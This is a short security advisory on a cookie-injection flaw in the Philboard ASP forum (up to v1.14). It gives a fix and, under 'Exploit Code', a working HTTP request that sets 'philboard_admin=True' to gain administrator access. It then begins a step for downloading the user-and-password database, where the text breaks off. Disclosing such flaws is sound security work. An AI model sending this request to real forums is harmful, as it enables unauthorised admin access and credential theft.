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Philboard Forum Vulnerability

Philboard Vulnerability

Severity : High (Possible gain administrator/users access on Forum Board)
Systems Affected: Philboard up to v1.14
Vendor URL:
Vuln Type : Cookie Injection
Status    : Vendor contacted, fixed version is not available (cause they didn't 
Author    : AresU
Greetz to : Bosen, Tioeuy, syzwz, Heltz, eF73, SakitJiwa, gembule, muthafuka, 
and All 1ndonesian Security Team (1st)

Philboard is freeware forum application under ASP Scripts.
Vulnerable script is on cookie management, all most script is vulnerable for 
cookie injection. The cookies are "philboard_admin=True;" or "admin=True;"

Vulnerability discovery and advisory by AresU

Vendor Response
Vendor has contacted and fixed version is not available (cause they didn't 
To Fix the script, you must change every cookie command in to session command.

Exploit Code
1) Login Administrator Forum:
Use your telnet and open target on port 80

GET /board/philboard_admin.asp HTTP/1.0
Cookie: philboard_admin=True;

2) Download the database (users and password):
Usually, the database location can be found and download it from:

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